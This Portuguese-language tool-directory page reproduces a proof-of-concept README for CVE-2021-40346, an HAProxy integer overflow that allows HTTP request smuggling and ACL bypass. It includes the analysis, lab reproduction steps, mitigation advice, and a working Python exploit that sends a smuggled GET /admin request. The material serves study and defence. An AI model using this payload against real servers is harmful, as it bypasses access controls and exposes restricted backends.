Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-40346 — Exploit PoC para CVE-2021-40346: estouro de inteiro no HAProxy permitindo contrabando de requisições HTTP e bypass de ACL. Inclui análise, etapas de reprodução e orientações de mitigação. | Kitploit
Ferramentas/GitHubGitHub/jmg0929/cve-2021-40346
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubjmg0929/cve-2021-40346

CVE-2021-40346

Exploit PoC para CVE-2021-40346: estouro de inteiro no HAProxy permitindo contrabando de requisições HTTP e bypass de ACL. Inclui análise, etapas de reprodução e orientações de mitigação.

Ver Repositório
1há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-40346 — HAProxy Integer Overflow leading to HTTP Request Smuggling

Resumo da Vulnerabilidade

  • HAProxy é um proxy reverso e balanceador de carga de código aberto, responsável por distribuição de carga e processamento de ACL (regras de controle de acesso), etc.
  • CVE-2021-40346 é uma vulnerabilidade de bypass de controle de acesso (ACL Bypass) que ocorre na função htx_add_header() do HAProxy, que armazena cabeçalhos HTTP no formato interno HTX, por não validar o comprimento do nome do cabeçalho.
  • Esta vulnerabilidade é considerada simples de explorar, porém de grande impacto, pois apenas aumentando o comprimento do nome do cabeçalho em uma requisição HTTP sob condições específicas, um atacante pode executar requisições desejadas no backend.
  • Referência: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

Condição de Vulnerabilidade

  • Versões Afetadas: HAProxy 2.0 até 2.5 (incluindo dev6)
  • Configuração de ACL: Deve haver uma regra de controle de acesso baseada em http-request no frontend (por exemplo, ) — esta regra será o alvo do bypass.
path_beg /admin

Análise

Quando o HAProxy armazena cabeçalhos HTTP no formato interno HTX, ele registra o comprimento do nome do cabeçalho em um campo de 8 bits (máximo 255). A função htx_add_header() não possui lógica de validação para esse comprimento, portanto, se um nome com mais de 256 bytes for enviado, ocorre um estouro de inteiro e os bits transbordados fluem para o campo de comprimento do valor adjacente.

Ao criar um nome de cabeçalho com exatamente 270 bytes (270 mod 256 = 14), o HAProxy o interpreta como "Content-Length" (14 caracteres) e lê o byte contaminado pelo estouro como o valor. Colocando "0" nessa posição, é criado um cabeçalho Content-Length: 0 falsificado.

Se um cabeçalho Content-Length real for enviado em seguida a esse cabeçalho falsificado, o HAProxy adota o primeiro (o falsificado com 0) e descarta o real. Nesse momento, o processo de leitura do corpo real da requisição a partir do cliente funciona corretamente com base no texto original, mas o cabeçalho encaminhado ao backend contém o valor falsificado (0), resultando em uma inconsistência entre o "tamanho real do corpo recebido" e o "tamanho notificado ao backend".

O backend acredita no valor notificado (0) e considera que a requisição terminou, reinterpretando os dados que eram o corpo original como uma nova requisição. Como a ACL do HAProxy é verificada apenas na linha de requisição inicial, a segunda requisição oculta não é inspecionada e chega ao backend. Como resultado, todas as ACLs http-request configuradas são contornadas.

Configuração do Ambiente e Procedimento de Reprodução

  • Execute docker compose up --build -d para iniciar o ambiente de teste vulnerável (haproxy ver.2.2.16 / backend: gunicorn)

  • Teste a ativação do HAProxy e do servidor backend com o código abaixo:

    root@kitploit:~
    until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
    echo "준비 완료"
    
  • Execute o código PoC com python3 poc.py --host 127.0.0.1 --port 8080

  • Verifique nos logs do backend com docker logs cve-2021-40346-backend --tail 5 se a requisição /admin foi realmente processada.

Código PoC

root@kitploit:~
import socket

HOST = "127.0.0.1"
PORT = 8080

# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255   # 14 + 1 + 255 = 270 bytes

hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: abc.com\r\n"
    + fake_name + b":\r\n"
    + b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
    b"\r\n"
    + hidden_request
)

with socket.create_connection((HOST, PORT), timeout=5) as s:
    s.sendall(payload)
    print(s.recv(4096).decode(errors="replace"))

Resultado da Execução

Resultado da Execução Conforme acima, a requisição GET para /admin, que tem acesso restrito no backend, foi processada.

Medidas de Mitigação

  • Atualização de Versão: Atualize imediatamente para 2.0.25 / 2.2.17 / 2.3.14 / 2.4.4 ou superior (a correção adiciona lógica de validação de comprimento de nome/valor em htx_add_header())
  • Defesa em Profundidade: Não dependa apenas das ACLs do proxy; implemente também lógica de autenticação/autorização dupla na própria aplicação backend.
Baixar ferramenta